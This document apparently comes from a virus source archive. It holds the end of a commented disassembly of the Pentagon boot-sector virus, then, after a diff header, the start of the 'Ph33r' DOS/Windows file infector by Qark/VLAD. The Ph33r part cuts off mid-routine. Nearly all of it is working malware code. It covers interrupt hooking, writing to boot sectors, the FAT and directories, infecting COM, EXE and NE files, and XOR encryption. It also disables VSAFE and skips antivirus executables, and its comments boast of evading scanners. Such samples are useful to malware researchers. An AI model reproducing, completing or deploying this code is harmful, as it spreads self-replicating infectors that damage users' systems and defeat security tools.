MOV AX,[BX+2] ; Get INT 13H segment
MOV DS:[BP+2],AX ; Set INT 68H to this segment
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
MOV AX,CS ; \ Set INT 13H segment
MOV [BX+2],AX ; /
MOV BX,0024H ; INT 9 jump address
MOV BP,01A4H ; INT 69H jump address
MOV AX,[BX] ; Get INT 9 offset
MOV DS:[BP],AX ; Set INT 69H to this offset
MOV AX,[BX+2] ; Get INT 9 segment
MOV DS:[BP+2],AX ; Set INT 69H to this segment
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
MOV AX,CS ; \ Set INT 9 segment
MOV [BX+02],AX ; /
JMP BP0254
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
ADD WORD PTR [BX],5 ; Restore the 5K
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and device
MOV BX,0200H ; Address second sector
MOV CX,3 ; Three sectors to read
BP0265: PUSH CX ; Save read count
MOV AX,0201H ; Read one sector
MOV CX,CS:[BP] ; Get track and sector
CALL BP0300 ; Address to next sector
MOV CS:[BP],CX ; Save new track and sector
ADD BX,0200H ; Address next buffer area
CALL BP031B ; Read from disk
JNB BP0280 ; Branch if no error
POP CX
INT 18H ; Drop into basic
; Read file, first sector
BP0280: POP CX ; Retrieve read count
LOOP BP0265 ; Repeat for other sectors
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and drive
MOV BX,1000H ; Buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP029B ; Branch if no error
INT 18H ; Drop into basic
; Read file, second sector
BP029B: CALL BP0300 ; Address to next sector
ADD BX,0200H ; Update buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP02AC ; Branch if no error
INT 18H ; Drop into basic
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to decrypt
MOV AL,0AAH ; Load encryption key
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0315 ; Decrypt
MOV AX,CS ; \
MOV ES,AX ; ) Set ES & DS to CS
MOV DS,AX ; /
MOV DI,0100H ; Middle of 1st sector
MOV SI,OFFSET DB07BC ; Address copyright message
MOV CX,0023H ; Length of copyright message
REPZ MOVSB ; Copy copyright message
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,0200H ; Length to decrypt
MOV BX,0800H ; Address boot sector store
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
MOV DI,7C00H ; Boot sector buffer
MOV SI,0800H ; Address boot sector store
MOV CX,0200H ; Sector length
CLD
REPZ MOVSB ; Copy boot sector
DB 0EAH ; Far jump to boot sector
DW 7C00H, 0
DB 16 DUP (0)
; Address to next sector
BP0300: INC CL ; Increment sector number
CMP CL,0AH ; Is it sector ten?
JL BP0314 ; Branch if not
MOV CL,1 ; Set sector to one
INC DH ; Increment head
CMP DH,2 ; Is it head two?
JL BP0314 ; Branch if not
XOR DH,DH ; Set head to zero
INC CH ; Increment track
BP0314: RET
; Encrypt/decrypt
BP0315: XOR [BX],AL ; Encrypt a byte
INC BX ; Address next byte
LOOP BP0315 ; Repeat for count
RET
; Read from or write to disk
BP031B: PUSH SI
PUSH DI
MOV SI,AX ; Save function
MOV DI,CX ; Save track and sector
MOV CX,3 ; Number of retries
BP0324: PUSH CX
MOV AX,SI ; Retrieve function
MOV CX,DI ; Retrieve track and sector
INT 68H ; Disk I/O
JNB BP0338 ; Branch if no error
XOR AH,AH ; Reset sub-system
INT 68H ; Disk I/O
POP CX ; Retrieve number of retries
LOOP BP0324 ; Retry
STC
JMP BP033B
BP0338: POP CX ; Retrieve number of retries
MOV CX,DI ; Retrieve track and sector
BP033B: POP DI
POP SI
RET
; Find unused FAT entry pair
BP033E: PUSH AX
PUSH DX
PUSH ES
PUSH DI
PUSH CS
POP ES
MOV DX,CX ; Initial cluster number
XOR AL,AL ; Search for zero
BP0348: MOV CX,3 ; Three bytes to check
MOV DI,BX ; Address FAT entry pair
REPZ SCASB ; Scan for non-zero
CMP CX,0 ; Is FAT pair unused
JE BP0361 ; Branch if yes
ADD BX,3 ; Address next entry pair
ADD DX,2 ; Update entry count
CMP DX,0162H ; Entry 354?
JLE BP0348 ; Process entry pair if not
STC
BP0361: MOV CX,DX ; Cluster number found
POP DI
POP ES
POP DX
POP AX
RET
; Find and flag an unused entry
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
JZ BP0384 ; Branch if unused
INC CX ; Next entry number
INC BX ; Address 2nd entry
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
JZ BP038B ; Branch if unused
INC CX ; Next entry number
ADD BX,2 ; Address next entry pair
CMP CX,0163H ; Entry 355?
JLE BP0368 ; Process next FAT pair if not
STC
JMP BP0390
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
JMP BP038F
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
nop ; ** length adjustment, MASM 5.0
BP038F: CLC
BP0390: RET
; Unflag Brain virus bad clusters
BP0391: PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV DX,CX
BP0397: MOV AX,[BX] ; Get FAT entry
AND AX,0FFFH ; Isolate FAT entry
CMP AX,0FF7H ; Bad cluster?
JE BP03B8 ; Branch if yes
INC DX ; Add to cluster number
INC BX ; Address next entry
MOV AX,[BX] ; Get FAT entry
MOV CL,4 ; Bits to move
SHR AX,CL ; Move FAT entry
CMP AX,0FF7H ; Bad Cluster?
JE BP03C8 ; Branch if yes
INC DX ; Add to cluster number
ADD BX,2 ; Address next pair of entries
CMP DX,015FH ; Entry 351?
JLE BP0397 ; Process this pair if not
BP03B8: MOV WORD PTR [BX],0 ; \
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
XOR WORD PTR [BX+3],0FF7H ; /
JMP BP03D5
BP03C8: XOR WORD PTR [BX],0FF7H ; \
MOV WORD PTR [BX+2],0 ; ) Clear three entries
MOV BYTE PTR [BX+4],0 ; /
BP03D5: POP DX
POP CX
POP BX
POP AX
RET
; Convert cluster number to track, head and sector
BP03DA: PUSH AX
PUSH BX
SUB CX,2 ; Subtract number of 1st cluster
ADD CX,CX ; Two sectors per cluster
ADD CX,0CH ; Add sector num of 1st cluster
MOV AX,CX ; Copy sector number
PUSH AX ; Save sector number
MOV BL,9 ; Nine sectors per track
DIV BL ; Divide by sectors per track
INC AH ; First sector is one
MOV CL,AH ; Move sector number
XOR AH,AH ; Clear top of register
MOV BL,2 ; Two heads
DIV BL ; Divide by heads
MOV DH,AH ; Move head number
POP AX ; Retrieve sector number
MOV BL,12H ; 18 sectors per track (both sides)
DIV BL ; Divide by sectors per track
MOV CH,AL ; Move track number
POP BX
POP AX
RET
; Update directory
BP0401: PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
MOV CX,000FH ; Fifteen entries per sector
XOR DI,DI ; Start of sector
CMP AX,7 ; Is this first dir sector
JNE BP0416 ; Branch if not
SUB CX,3 ; Subtract three from count
ADD DI,60H ; Address fourth entry
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
JNE BP0443 ; Branch if not
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
JNE BP0443 ; Branch if not
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
PUSH SI
PUSH DI
PUSH CX
ADD DI,BX ; Add sector address
LEA SI,DB07B1 ; Address label
MOV CX,000BH ; Length of new label
CLD
REPZ MOVSB ; Copy label
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
POP CX
POP DI
POP SI
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
JE BP0452 ; Branch if yes
ADD DI,20H ; Address next entry
LOOP BP0416 ; Process next entry
STC
JMP BP0487
BP0452: ADD DI,BX ; Add sector address
MOV BX,DI ; Move entry address
MOV BYTE PTR [BX],0F9H ; "Filename"
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
MOV CX,CS:DW0784 ; Get virus cluster number
MOV [BX+1AH],CX ; Store starting cluster
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
MOV WORD PTR [BX+1EH],0 ; /
ADD DI,20H ; Address next entry
MOV BX,DI ; Move entry address
LEA SI,DB0791 ; Address start of encrypted
MOV CX,0020H ; One complete entry to move
CLD
REPZ MOVSB ; Move entry
MOV CX,CS:DW0786 ; Get file cluster number
MOV [BX+1AH],CX ; Store starting cluster
CLC
BP0487: POP DI
POP SI
POP DX
POP CX
POP BX
RET
; Read actual boot sector - Brain infected
BP048D: PUSH AX
PUSH CX
PUSH DX
MOV CX,[BX+7] ; Get track and sector
MOV DH,[BX+6] ; Get head number
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
POP DX
POP CX
POP AX
RET
; Generate a sound
BP04A0: MOV BP,1 ; One loop
MOV AL,0B6H ; Counter two, both bytes, sq wave
OUT 43H,AL ; Set PIT control register
MOV AX,0533H ; Sound frequency
OUT 42H,AL ; Send first byte
MOV AL,AH ; Get second byte
OUT 42H,AL ; Send second byte
IN AL,61H ; Get port B
MOV AH,AL ; Save port B value
OR AL,3 ; Set sound bits on
OUT 61H,AL ; Send port B
SUB CX,CX ; Maximum loop count
BP04BA: LOOP BP04BA ; Delay
DEC BP ; Decrement count of loops
JNZ BP04BA ; Branch if not zero (it won't be)
MOV AL,AH ; Recover original port B
OUT 61H,AL ; Send port B
RET
; Int 13H routine
BP04C4: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSH DI
MOV CS:DB0790,DL ; Save device
CMP AH,2 ; Is function a read?
JE BP04DA ; Branch if yes
JMP BP06FC ; Pass on to BIOS
BP04DA: DEC CS:DB07E0 ; Decrement count
JZ BP04E4 ; Infect when zero
JMP BP06FC ; Pass on to BIOS
; Get boot sector
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
PUSH CS ; \
POP AX ; \ Set DS & ES to CS
MOV DS,AX ; /
MOV ES,AX ; /
MOV BX,0800H ; Address boot sector store
MOV CX,1 ; Track zero, sector one
MOV DH,0 ; Head zero
MOV DL,CS:DB0790 ; Load device
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0508 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Brain virus
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
JNE BP051D ; Branch if not
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
CALL BP048D ; Read actual boot sector
JNB BP052D ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Pentagon virus
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
JNE BP052D ; Branch if not
JMP BP06FC ; Pass on to BIOS
; Check for DOS boot sector
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
JE BP0538 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get first FAT sector
BP0538: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0549 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check media byte
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
JE BP0551 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get second sector of FAT
BP0551: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0562 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
JNE BP0573 ; Branch if off
MOV BX,0A03H ; Address first cluster in FAT
MOV CX,2 ; First cluster is number two
CALL BP0391 ; Unflag Brain virus bad clusters
BP0573: MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP033E ; Find unused FAT entry pair
JNB BP0581 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
INC CX ; Next cluster number
MOV [BX],CX ; Put it in first FAT entry
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
nop ; ** length adjustment, MASM 5.0
DEC CX ; Set cluster number back
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW0788,CX ; Save virus track & sector
MOV CS:DW078A,DX ; Save virus head and drive
PUSH BP
MOV BP,OFFSET DW008F ; Address virus pointer
MOV CS:[BP+00],CX ; Save virus track & sector
MOV CS:[BP+03],DH ; Save virus head
POP BP
MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP0368 ; Find an unused FAT entry
JNB BP05B7 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW078C,CX ; Save file track & sector
MOV CS:DW078E,DX ; Save file head and drive
PUSH BP
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CS:[BP],CX ; Save track and sector
MOV CS:[BP+3],DH ; Save head
POP BP
MOV AL,0FCH ; Load encryption key
MOV BX,0800H ; Address boot sector store
MOV CX,0200H ; Length to encrypt
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BX,0200H ; Virus second sector
MOV AX,0301H ; Write one sector
MOV CX,CS:DW0788 ; Get virus track & sector
MOV DX,CS:DW078A ; Get virus head and drive
MOV DL,CS:DB0790 ; Load device
CALL BP031B ; Write to disk
JNB BP0613 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0613: MOV AX,3 ; Three sectors to write
BP0616: PUSH AX ; Save write count
ADD BX,0200H ; Next sector buffer
MOV AX,0301H ; Write one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
POP AX ; Retrieve write count
DEC AX ; Decrement count
JNZ BP0616 ; Repeat for each sector
JMP BP0631
BP062D: POP AX
JMP BP06FC ; Pass on to BIOS
; Write file
BP0631: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
MOV CX,CS:DW078C ; Get file track & sector
MOV DX,CS:DW078E ; Get file head and drive
MOV DL,CS:DB0790 ; Load device
MOV BX,1000H ; Address file buffer
MOV AX,2 ; Two sectors to write
BP065B: PUSH AX ; Save write count
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
CALL BP0300 ; Address to next sector
ADD BX,0200H ; Address next sector buffer
POP AX ; Retrieve write count
DEC AX ; Decrement write count
JNZ BP065B ; Write each sector
MOV BX,OFFSET BP0059 ; Start of encrypted
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Encrypt
XOR BX,BX ; Address start of virus
MOV AX,0301H ; Write one sector
MOV CX,1 ; Track zero, sector 1
XOR DH,DH ; Head zero
CALL BP031B ; Write to disk
JNB BP068C ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 1st FAT sector
BP068C: MOV BX,OFFSET BP0059
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
MOV BX,0A00H ; Address 1st FAT sector
MOV AX,0301H ; Write one sector
MOV CX,2 ; Track zero, sector 2
CALL BP031B ; Write to disk
JNB BP06A8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 2nd FAT sector
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
MOV AX,0301H ; Write one sector
INC CX ; Next sector
CALL BP031B ; Write to disk
JNB BP06B8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Create directory entries
BP06B8: MOV BX,0E00H ; Address directory
MOV CX,5 ; Track zero, sector 5
XOR DH,DH ; Head zero
MOV AX,7 ; Seven sectors to read
BP06C3: PUSH AX ; Save read count
MOV AX,0201H ; Read one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Read from disk
JB BP06F1 ; Branch if error
POP AX ; \ Retrieve and save read count
PUSH AX ; /
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
CALL BP0401 ; Update directory
JNB BP06F5 ; Branch if entry found
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
JNE BP06EA ; Branch if off
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06EA: POP AX ; Retrieve sector count
DEC AX ; Decrement sector count
JNZ BP06C3 ; Repeat for each sector
JMP BP06FC ; Pass on to BIOS
BP06F1: POP AX
JMP BP06FC ; Pass on to BIOS
BP06F5: POP AX
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06FC: POP DI
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POP AX
INT 68H ; Disk I/O
RETF 2
; Int 9 routine
BP0709: PUSH AX
PUSH BX
PUSH DS
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
IN AL,60H ; Get keyboard token
MOV BX,OFFSET BB0417 ; Address Key states
TEST BYTE PTR [BX],8 ; Alt key depressed?
JZ BP0736 ; Branch if not
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
JZ BP0736 ; Branch if not
CMP AL,53H ; Del character token?
JNE BP0736 ; Branch if not
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
XOR AL,AL ; \ ?
OUT 60H,AL ; /
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
BP0736: POP DS
POP BX
POP AX
INT 69H ; Keyboard I/O
PUSHF
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
JNE BP0765 ; Branch if off
POPF
MOV AX,3 ; Set mode three
INT 10H ; VDU I/O
CLI
MOV AL,0AH ; Repeat delay 10 times
XOR CX,CX ; Maximum loop
BP074F: LOOP BP074F ; Delay
DEC AL ; Decrement delay count
JNZ BP074F ; Repeat delay for count
CALL BP04A0 ; Generate a sound
XOR CX,CX ; Maximum loop
BP075A: LOOP BP075A ; Delay
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
STI
INT 19H ; Disk bootstrap
BP0765: POPF
RETF 2
DB 27 DUP (0)
DW0784 DW 0064H ; Cluster number of virus
DW0786 DW 0066H ; Cluster number of file
DW0788 DW 0B02H ; Virus track & sector
DW078A DW 0101H ; Virus head and drive
DW078C DW 0B06H ; File track and sector
DW078E DW 0101H ; File head and drive
DB0790 DB 1 ; Device number
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
DB07B1 DB 'Pentagon,ZG'
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
DB07E0 DB 20H ; Infection count
DB07E1 DB 0FFH ; Infected by Brain switch
DB07E2 DB 0 ; Directory update switch
DB07E3 DB 0 ; Reboot switch
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
CODE ENDS
END START

+828
View File
@@ -0,0 +1,828 @@
;
;
; Ph33r
;
; Qark/VLAD
;
;
;
; This virus is the first ever DOS/Windows virus, infecting COM/EXE/WinEXE
; files.
; The technology of the Windows infection is superior to 'Winsurfer'
; in that the virus goes directly resident, without having to mess around
; infecting the Windows 'shell'. The Windows entry of the virus allocates
; memory, points a selector to it, copies the virus into the space and
; sets interrupt 21h to the resident virus. By careful programming it was
; possible to make both the DOS and Win interrupt handlers share the same
; code.
;
; The virus does a few interesting things:
; Disables MSAV by turning it off (DOS)
; Gets the original Int 21h using DOSSEG:109Eh (DOS)
; Won't infect a number of filenames 'AV' 'AN' 'OT' (DOS & Win)
;
; A few annoying things:
; If the DOS handler traps Int 21h AH=3Dh Windows crashes on load.
; If the virus infects WIN386.EXE Windows crashes on load.
; These have both been fixed, by removal.
;
; For some unknown reason, the virus causes Debug to crash on exit.
; I haven't fixed this, because I figure anyone who uses Debug will spot
; the virus anyway. Besides which, I haven't got a clue why it's happening :)
;
; For this virus, AVP & TBAV pick up nothing whilst F-Prot detects it
; heuristically.
;
org 0
com_entry: ;COM files begin execution here.
call exec_start
push es
pop ds
;COM file exit.
mov di,100h
push di
db 0b8h ;MOV AX,xxxx
old2 dw 20cdh
stosw
db 0b8h ;MOV AX,xxxx
old4 dw 0
stosw
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
ret
exe_entry: ;EXE files begin execution here.
call exec_start
push es
pop ds
;Setup ss:sp
mov ax,ds
add ax,10h
db 5 ;ADD AX,xxxx
old_ss dw 0
mov ss,ax
db 0bch ;MOV SP,xxxx
old_sp dw 0
;setup the return
mov ax,ds
add ax,10h
db 5 ;ADD AX,xxxx
exe_cs dw 0
push ax
db 0b8h ;MOV AX,xxxx
exe_ip dw 0
push ax
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
retf
Exec_Start:
cld
mov ax,51ffh ;Test resident.
int 21h
cmp ax,0ff51h
je exit_virus
mov ax,0fa02h ;Kill VSAFE.
mov dx,5945h ;Every DOS6+ user has a copy of this.
xor bl,bl
int 16h
mov ax,ds
dec ax
mov ds,ax ;MCB seg in DS.
xor di,di
cmp byte ptr [di],'Y' ;Z block ?
ja allocate
exit_virus:
ret
allocate:
sub word ptr [di+3],(offset virus_size*2/16)+1
sub word ptr [di+12h],(offset virus_size*2/16)+1
mov ax,word ptr [di+12h]
push es
mov es,ax
push cs
pop ds
mov cx,offset virus_size
;Get delta offset in SI
call next
next:
pop si
sub si,offset next
;Move virus to free memory.
rep movsb
mov ds,cx ;DS=CX=0 from REP MOVSB
;Set int21h
mov si,21h*4
mov di,offset i21
push si
movsw
movsw
pop si
mov di,offset orig21
movsw
movsw
mov word ptr [si-4],offset int21handler
mov word ptr [si-2],es
push es
mov ah,52h ;Thanx Neurobasher!
int 21h
mov ax,es
pop es
mov ds,ax
mov si,109eh ;DS:109Eh = Original Int 21 I hope.
lodsw
cmp ax,9090h
jne reset21
lodsb
cmp al,0e8h
jne reset21
mov word ptr es:orig21,10a0h
mov word ptr es:orig21+2,ds
reset21:
pop es
ret
db '=Ph33r='
win21: ;Windows interrupt handling begins here.
cmp ax,51feh
jne non_w_res
xchg al,ah
iret
non_w_res:
cmp ax,4b00h ;Execute.
je check_infect
cmp ah,3dh ;File Open.
je check_infect
cmp ah,56h ;Rename.
je check_infect
cmp ah,43h ;Chmod.
jne int_exit
check_infect:
pushf
pusha
push ds
push es
mov ax,0ah ;This function makes our CS writable.
mov bx,cs
int 31h
mov es,ax
call setup_infect
pop es
pop ds
popa
popf
jmp int_exit
int21handler: ;DOS interrupt handling begins here.
cmp ax,51ffh
jne non_res
xchg al,ah
iret
db 'Qark/VLAD'
non_res:
;For some reason, checking for AH=3dh crashes windows when its booting.
cmp ax,4b00h ;Execute.
je do_file
cmp ah,6ch ;Open.
je do_file
cmp ah,56h ;Rename.
je do_file
cmp ah,43h ;Chmod.
je do_file
int_exit:
db 0eah
i21 dd 0
do_file:
push es
push dx
cmp ah,6ch
jne no_6c_fix
mov dx,si
no_6c_fix:
push cs
pop es
call setup_infect
pop dx
pop es
jmp int_exit
setup_infect:
;on entry to this call, es=writable cs
;ds:dx=filename
pushf
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld
mov si,dx
asciiz:
lodsb
cmp al,0
jne asciiz
sub si,4
lodsw
or ax,2020h
cmp ax,'xe' ;EXE
je do_inf
cmp ax,'ld' ;DLL
je do_inf
cmp ax,'oc' ;COM
jne not_name
do_inf:
cmp word ptr [si-5],'68' ;Dont infect WIN386.EXE (hangs)
je not_name
mov ax,word ptr [si-5]
or ax,2020h ;Lowercase.
cmp ax,'va' ;Don't touch files that end in AV
je not_name ;eg TBAV
cmp ax,'vd' ;DV.COM checks DV.EXE
je not_name
cmp ax,'na' ;Don't touch files that end in AN
je not_name ;eg SCAN, TBSCAN
cmp ax,'to' ;Don't touch files that end in OT
je not_name ;eg F-PROT
call infect
not_name:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
Infect:
;DS:DX=Filename, ES=our data segment
cld
mov ax,3d02h ;Open file to be infected.
call int21h
jnc file_opened
ret
file_opened:
xchg bx,ax ;File handle into BX.
push es
pop ds
mov ah,3fh ;Read from file.
mov cx,512
mov dx,offset virus_size
call int21h
mov si,offset virus_size
mov ax,word ptr [si]
or ax,2020h
cmp ax,'zm' ;Test for EXE header
je check_exe
jmp com_infect
check_exe:
cmp word ptr [si+12h],0afafh ;Infection marker.
jne not_infected
bad_mem:
jmp com_end
not_infected:
cmp word ptr [si+18h],40h ;Windows executable.
jb exe_infect
jmp windows_infect
exe_infect:
cmp word ptr [si+0ch],-1 ;Maxmem = All
jne bad_mem
call lseek_end ;Get file length in DX:AX
or dx,dx
jnz ok_exe_size
cmp ax,1000
jb bad_mem
ok_exe_size:
mov cx,512
div cx
inc ax
cmp [si+4],ax ;Check for overlays.
ja bad_mem
mov ax,word ptr [si+0eh] ;Save the original SS:SP
mov word ptr old_ss,ax
mov ax,word ptr [si+10h]
mov word ptr old_sp,ax
mov ax,word ptr [si+14h] ;Save the original CS:IP
mov word ptr exe_ip,ax
mov ax,word ptr [si+16h]
mov word ptr exe_cs,ax
call lseek_end
mov cx,16
div cx
sub ax,word ptr [si+8]
add dx,offset exe_entry
mov word ptr [si+14h],dx ;New IP
mov word ptr [si+16h],ax ;New CS
dec ax
mov word ptr [si+0eh],ax
add dx,1500
and dx,0fffeh
mov word ptr [si+10h],dx
call save_time
mov cx,offset virus_size
mov ah,40h
xor dx,dx
call int21h
call lseek_end
mov cx,512
div cx
or dx,dx
jz no_page_fix
inc ax
no_page_fix:
mov word ptr [si+4],ax
mov word ptr [si+2],dx
call lseek_start
mov word ptr [si+12h],0afafh ;Set infection marker.
mov ah,40h
mov dx,si
mov cx,1ch
call int21h
call restore_time
jmp com_end
com_infect:
cmp byte ptr [si+3],0afh ;Com infection marker.
je com_end
;Save first four com file bytes.
mov di,offset old2
movsw
mov di,offset old4
movsw
mov ax,4202h ;Lseek to file end.
xor cx,cx
cwd
call int21h
or dx,dx ;Check if > 64k
jnz com_end
cmp ax,60000 ;Check if > 60000
ja com_end
cmp ax,1024
jb com_end
sub ax,3
mov word ptr com_jmp+1,ax
call save_time
mov ah,40h ;Write virus body to file.
mov cx,offset virus_size
xor dx,dx
call int21h
jc com_end
mov ax,4200h ;Lseek to file start.
xor cx,cx
cwd
call int21h
mov ah,40h ;Write jump to start of file.
mov cx,4
mov dx,offset com_jmp
call int21h
com_time_end:
call restore_time
com_end:
mov ah,3eh ;Close file.
call int21h
ret
windows_infect:
;Move the Newexe pointer forward.
push word ptr [si+3ch]
pop word ptr newexe_off
sub word ptr [si+3ch],8
cmp word ptr [si+3eh],0 ;Dont want any NE headers at off >64k
jne com_end
mov word ptr [si+12h],0afafh ;Set infection marker.
;Lseek back to start of the file.
mov ax,4200h
xor cx,cx
cwd
call int21h
call save_time
;Write header back.
mov ah,40h
mov cx,512
mov dx,offset virus_size
call int21h
jc com_end
;Lseek to new exe header
mov ax,4200h
mov dx,word ptr newexe_off
xor cx,cx
call int21h
;Read in new exe header
mov ah,3fh
mov cx,512
mov dx,offset virus_size
call int21h
;Adjust header pointers
mov ax,word ptr [si+22h] ;AX=Segment table offset.
cmp word ptr [si+4],ax
jb ok_et
add word ptr [si+4],8
ok_et:
cmp word ptr [si+24h],ax
jb ok_rt
add word ptr [si+24h],8
ok_rt:
cmp word ptr [si+26h],ax
jb ok_rnt
add word ptr [si+26h],8
ok_rnt:
cmp word ptr [si+28h],ax
jb ok_mrt
add word ptr [si+28h],8
ok_mrt:
cmp word ptr [si+2ah],ax
jb ok_int
add word ptr [si+2ah],8
ok_int:
mov ax,word ptr [si+1ch]
inc word ptr [si+1ch] ;Increase segment count.
xor dx,dx
mov cx,8
mul cx
add ax,word ptr [si+22h] ;AX=Offset of segment table end.
adc dx,0
mov cx,512 ;512 byte portions are used
; for the reads later on.
div cx
mov word ptr ne_size,ax
mov word ptr last_ne,dx
;Put the original CS:IP into our relocation table.
push word ptr [si+14h]
pop word ptr old_ip
push word ptr [si+16h]
pop word ptr old_cs
;Save the alignment shift count because we need that for calculating
;the offset of our segment when writing the segment entry.
push word ptr [si+32h]
pop word ptr al_shift
;Point CS:IP to the virus.
mov word ptr [si+14h],offset win_entry ;The new IP
mov ax,word ptr [si+1ch]
mov word ptr [si+16h],ax ;The new CS
;Initialise the lseek variable
push word ptr newexe_off
pop word ptr lseek
;The below code gets the NE header and keeps moving it forward by
;eight bytes in 512 byte chunks.
move_header_forward:
mov ax,word ptr ne_size
or ax,ax
jz last_page
dec word ptr ne_size
mov ax,4200h ;Lseek to our current position.
xor cx,cx
mov dx,word ptr lseek
sub dx,8
call int21h
mov ah,40h ;Write the header section out.
mov cx,512
mov dx,si
call int21h
add word ptr lseek,512
mov ax,4200h ;Lseek to the next chunk.
xor cx,cx
mov dx,word ptr lseek
call int21h
mov ah,3fh ;Read it.
mov dx,offset virus_size
